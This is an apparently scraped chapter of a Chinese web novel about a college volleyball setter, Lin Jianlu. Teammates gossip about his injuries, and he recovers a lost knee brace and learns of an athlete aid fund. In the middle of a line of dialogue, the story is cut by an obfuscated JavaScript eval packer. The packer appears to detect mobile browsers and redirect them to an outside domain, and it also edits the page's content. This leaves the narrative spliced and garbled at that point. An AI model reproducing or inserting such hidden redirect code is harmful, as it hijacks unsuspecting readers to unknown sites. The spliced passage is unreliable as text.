“我记得他传球特别到位,当时我们教练特别馋,天天拿他当模范,把我们那一通骂啊……” “对,他传球确实非常到位。那年我也打二传,林见鹿就是‘别人家孩子’,每个二传手都因为他挨骂。” 大家七嘴八舌地说着,但语气并不认真,还是调侃过多。林见鹿的神话已经过去,从一个明确的强劲对手变成一个虚无缥缈的人,现在连最后一丝虚无缥缈都没了。 变成了众人的谈资。 孙轩是队里最高的一个,光线罩在他身上都显得不够用,影子无限拉长,给地上斜着画出一条横线。提起林见鹿,他眼中的情绪也是似敌非友,但开口之后,还是偏向“敌人”的成分更多。 “他确实很厉害。”孙轩承认。 “那么厉害,你们汇宸还不是说不用就不用了。”兄弟问,“其实我一直很好奇,他的腿到底怎么伤的?两年了,再严重也该养好了吧?” 就算在严格而残酷的国际大赛上,受了伤也是带伤完赛,像林见鹿这样空置养伤的人,其实不多见。 “他啊,最开始是疲劳性骨折。”孙轩如数家珍一样。这算是运动员伤痛手册里的家常便饭,连孙轩的手指都断过。 “我记得是左腿的膝盖,但具体什么状况我不太清楚。右腿……应该是肌肉拉伤和髌骨脱位?但受伤这种事谁说得准呢,你们瞧奥运会的选手,很多人的伤势都比林见鹿要重,可是人家就能打,不影响。” “有些呢,伤势还不如林见鹿,但偏偏赶上寸劲,只能退役。所以他能不能继续上场,都是命。”孙轩说完笑了笑,“你们怕他?” 这倒是问到点子上了。真正经历过竞体的人,并不否认一个优秀运动员具有威慑力。在绝对强度面前,任何人都会望而生畏。 “也不是怕,就是觉得……他有那么神吗?我怎么听说他还出了不少事呢?是不是有个教练……因为他,被学校开除了?”又一个队友问。 孙轩很揶揄地笑了笑:“你们都知道了?是啊,林见鹿是红颜祸水,风流人物,教练因为他传出‘作风不良’,就被开除了。你们看着吧,这次联赛他未必能上场。” “为什么?”队员们异口同声。 孙轩毫不犹豫:“因为他忌讳队医。他不给队医看诊断书,哪个队医敢放话让他上场?更何况……他处理不好队友关系,要不是走太近被人意.淫,要不就把人家当狗。” “他干嘛忌讳队医?我巴不得和队医搞好关系呢,每天都能蹭半小时的理疗。”另外一个主攻手说。 刚刚所有问题都恨不得仔细回答,这回孙轩忽然说得很模糊:“他以前和队医不合,他不会信任任何队医。” 林见鹿那个脾气到哪里都吃亏,哪怕是曾经的队医故意给他使绊子,不让他上场,别人也只会以为是林见鹿的问题。 现在队医手里的权力很大,一旦这个人不认可你伤势能上,教练也不认为你能上,那这个运动员就真上不去了。孙轩比任何人都清楚林见鹿吃了什么亏,而且他还知道为什么队医以一己之力拦住了林见鹿重回场上。 因为队医的孩子也打二传,林见鹿只要上去了,他儿子就要下来了。 人家是官场的父与子,林见鹿一家都是普通百姓,胳膊怎么拧得动大腿?孙轩每次看到队医给林见鹿开休假条,都能瞧见林见鹿心里的阴影更深一层。阴影一旦形成,可不是一时半会儿能好。就算林见鹿能完全信任首体的队医,恐怕也是一学期之后,近期,呵呵,不可能。 首体大的排球馆里训练如旧,并没有什么异常。 该说的都说完了,林见鹿也准备离开这里。 临走的时候,纪高和孔南凡都表扬了他,认可他提供的信息很有用,还制定了一套专门针对孙轩的阵型。 但林见鹿没觉得有什么用,队里现在缺一个强二传,哪怕林见鹿也属于这支……汪汪队,但凡事都要讲究科学根据,他们队不占优势。项冰言短时间内应付不来。 “小鹿,记得去找队医,听见没有!” 临走的时候纪高又叮嘱了他一次,语气有些强硬,仿佛他再不去,纪高就会使用特殊办法押着他去。林见鹿自然也想去,但把所有病例交给一个陌生的队医,这对他而言万分冒险。 但是迟早要给的,林见鹿没有别的路可以走。他独自走向队医楼,好在这栋楼离他们不远,不至于迷路。 而队医楼门口,刚好有一面公告栏。这里应该是首体大的信息墙,上面密密麻麻贴着小纸条、A4纸。林见鹿停下脚步,被其中一张鲜黄色的A4纸吸引了。 鲜黄色的纸非常醒目,内容则是“寻人启事”。 [本人在东校区捡到一枚Bauerfeind专业护膝,目测为S款,请失主尽快到学生会认领。认领时务必提供购买凭证或穿戴照片,谢谢。] 下面是一张打印机彩打配图,林见鹿近距离看了看,越看越眼熟! 这不是自己丢掉的那只护膝吗! 原来是自己不小心丢了?林见鹿来不及细想,撕下A4纸后找了个同学问路,刚好,学生会的办公楼也不远。 怕再次迷路,他一路盯着那栋建筑。 学生会有足足一栋楼,林见鹿又是第一次来,根本找不到人问。他只能擅自进入,在1层走廊里走走停停,看到哪个门都站住看看。 忽然间,一个陌生人叫住了他:“有事吗?” “我叫林见鹿,来领这个。”林见鹿把A4纸交了出来。 那人接过纸,看了看:“这不是我捡到的护膝吗?是你的?” “是我的,我有购买记录。”林见鹿一直在一家专业代购店购买。购买记录是上个月,交易金额是1499元。 “买贵了吧?我以前买过,便宜100块呢。”那人把手机还给了林见鹿,“跟我来。” 真是遇上好人了。林见鹿这两年走背运,很少办事这样顺利:“谢谢,您是老师吗?还是……” “我叫白洋,研二,你是大一新生吧?”白洋回头瞧了他一眼,“真高。” 白洋。林见鹿默念一次,不怪他把白洋当成年轻老师,他穿休闲服又戴金丝眼镜,很像一毕业就上班的小老师。而且说话还拿腔拿调。 “你怎么会用这一款?”白洋又看了几眼他的腿。 林见鹿沉默着跟他走到器材室,器材室里有一个玻璃柜。柜门上贴着“失物招领处”。 “膝盖什么伤?”白洋一边拿一边问。 林见鹿没回答。 “如果受伤了就赶紧看,别耽误。髌骨和半月板要保护好,膝盖靠养。”白洋把那只新护膝拿了出来,“这回收好了。” “你怎么知道?”林见鹿意外地开了口。 白洋只是一笑,说他冷漠吧,他很愿意帮人,说他热情吧,他笑意明显不热。“S款很贵,但保护性最强。据我所知有两种人会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175438|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,一种是不缺钱的人,一种是膝部急需保护。它一穿上就像外骨骼,外行人叫它假肢护腿。你猜我怎么知道?” 林见鹿明明比他高很多,却被人看透。是,这款护膝很贵,一个月能用报废好几只。但林见鹿实在找不到它的平替,一分钱一分货。 “你怎么知道?”林见鹿又重复了一次。 白洋这回笑得开了些:“我也是运动员,跳高队的。” “啊?”林见鹿震惊了,他可太不像了! “怎么,这么不像吗?”白洋带他往外走,但第三次回过头,在林见鹿的膝盖上扫视,“有伤就赶紧去找队医,千万别拖延病情。如有需要可以申请补助,别不好意思。” 林见鹿迈了两步,思绪却忽然拐了弯:“……有补助吗?我的腿,比较严重。” 白洋的身体一停,像撞上了空气墙。 “有吗?”林见鹿觉得他的反应太过激动了。 白洋马上就平和了:“走,去屋里谈。” 就这样,林见鹿原本都准备走了,又被白洋带进办公室。 坐下之后,白洋先从抽屉里拿出一小本的申请条件:“你看看,有什么不懂的,问我。” “谢谢。”林见鹿接过后像翻看说明书一样,每个字都认认真真看一遍。整个过程非常安静,像在图书馆,白洋也没有催他。 “基金会是体院的独立项目,由一位好心人创办,你不用这么紧张。”白洋摸了下说明书的扉页。 “我应该……符合这条。”半晌,林见鹿翻到第4页,指向其中一条。 白洋接过来:“嗯……申请补助需要提供你的伤势证明,要正规医院的。” “会保密吗?”林见鹿又问。 “你可以质疑我的人品,但是不要质疑运动员基金会的运作。我这边会严格保密,除了给你办理补助的相关人员,不会有其他的不相关人员知道。我给你一张表,你填一下,送来的时候记得带上你的证明。”白洋说。 “就这么简单?不需要家访?”林见鹿反而不信了。 白洋像能击穿他的疑问:“基金会有两部分职能,对表现优异的运动员进行经济上的奖励,对需要帮助的运动员进行经济上的补助。如果你不希望家访,可以提供父母的收入证明。” “好……申请表我带回去,填好我再来。”林见鹿将表格塞回包里。 “你留一个我的联系方式。”白洋又叫住了他。 两人加上好友才分开,林见鹿离开学生会,绕着这栋楼走了十几圈。在有意识的绕路中他的手一直捏着那只失而复得的护膝。 等到最后终于停下来,林见鹿又拿出手机,找出昨天没有看完的截图。 先天异瞳的可能影响:畏光,弱视,斜视。注意事项:佩戴防紫外线眼镜,避免外力撞击。 林见鹿捏着手机想了想,回忆起项冰言用过的眼药水外观。 他再次打开百度,开始搜索附近的药店。 白天的训练结束,首体大也迎来了傍晚。 厉桀陪着冰言练配合,回宿舍的时候已经累得不行。他以为消失一天的林见鹿会在宿舍休息,但进屋才发现人不在,只有汇宸私立中学.运动包在。 看到那个包,厉桀就烦躁,想把上面那几个字烧掉,然后贴上“首都体育大学男排汪汪队”几个字。 刚好一阵风吹来,包里的一张纸掉出来。厉桀弯腰去捡,定睛一瞧……补助金申请表? 谁的?林见鹿要补助金?